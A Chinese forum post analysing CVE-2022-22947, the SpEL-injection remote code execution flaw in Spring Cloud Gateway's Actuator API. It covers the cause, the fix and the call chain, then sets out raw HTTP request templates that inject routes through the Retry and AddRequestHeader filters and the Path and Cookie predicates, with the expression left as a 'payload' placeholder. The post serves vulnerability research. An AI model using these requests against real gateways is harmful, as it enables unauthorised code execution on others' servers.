挖掘Spring Cloud Gateway的新链路:从零开始的手把手指南

图片[1]-挖掘Spring Cloud Gateway的新链路:从零开始的手把手指南-山海云端论坛

前言

通过阅读安全公号的CVE-2022-22947分析,尝试复现过程中,探索到一些新的发现。在个人技术有限的情况下,提供一些思路,欢迎指正。

漏洞简述

该漏洞发生在基于Spring5.0+SpringBoot2.0+WebFlux的应用中,是一个远程代码执行漏洞,影响到Actuator API。

2.1 前置知识

关键类:

2.2 漏洞原理

当Spring Cloud Gateway初次启动或刷新路由时,会将路由信息解析并存储到缓存中。在解析路由参数args时,使用了SpEL解析器来解析args参数值。攻击者可以通过在Actuator API中存储自定义路由信息时,在args参数中注入恶意的SpEL表达式,然后再次调用Actuator中的刷新路由接口,从而使Spring Cloud Gateway解析并执行恶意的SpEL表达式,导致远程代码执行(RCE)。

漏洞修复

修复提交于2月9号:GitHub提交 更新了ShortcutConfigurable,使用自定义的EvaluationContext,即将StandardEvaluationContext替换为SimpleEvaluationContext以限制SpEL表达式的解析。

分析调用链

通过定位到修复的类ShortcutConfigurable,观察修改发生在getValue方法体内部。使用Idea的快捷键Ctrl + Alt + H查看调用的层次,了解经过的类和方法流转。

调用链在RouteDefinitionRouteLocator类中分离成两条链:

  1. 通过loadGatewayFilters方法处理GatewayFilter
  2. 通过lookup方法处理RoutePredicate

这也为新的链路提供了思路,猜测不仅有filters的利用链,还可能存在predicates的利用链。

构造利用链

5.1 无回显利用链

5.1.1 Filters利用链的思考

大多数利用链都是基于Filters。之前的研究表明只有AddResponseHeader过滤器可用,但是Retry过滤器也是有效的。

<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 335 { "id": "first_route", "predicates": [], "filters": [{ "name": "Retry", "args": { "name": "payload", "value": "123" } }], "uri": "https://www.uri-destination.org", "order": 0 }</code>

通过路由匹配args参数来执行RCE。将args参数中的payload替换成SpEL表达式,然后刷新路由以触发RCE。

5.1.2 Predicates利用链

通过尝试创建路由来构造Predicates利用链。

<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json { "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"payload"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }</code>

刷新路由以触发RCE。

5.2 有回显利用链

5.2.1 Filters回显链的思考

大多数回显链也是基于Filters。之前的研究表明只有AddResponseHeader过滤器可用,但是Retry过滤器也是有效的。

<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 335 { "id": "first_route", "predicates": [], "filters": [{ "name": "AddRequestHeader", "args": { "name": "Result", "value": "payload" } }], "uri": "https://www.uri-destination.org", "order": 0 }</code>

通过路由匹配args参数来执行RCE。将args参数中的payload替换成SpEL表达式,然后刷新路由以触发RCE。

5.2.2 Predicates回显链

通过创建路由来构造Predicates回显链。

<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 380 { "id": "first_route", "predicates": [{ "name": "Cookie", "args": { "name": "payload", "regexp": "ch.p" } }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }</code>

刷新路由以触发RCE。

总结

通过在漏洞挖掘过程中的调试和尝试,得到了一些新的发现和启发。在利用链调试过程中,官方文档也是一个很好的参考工具。

参考链接

  • https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw
  • https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gateway-starter
© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容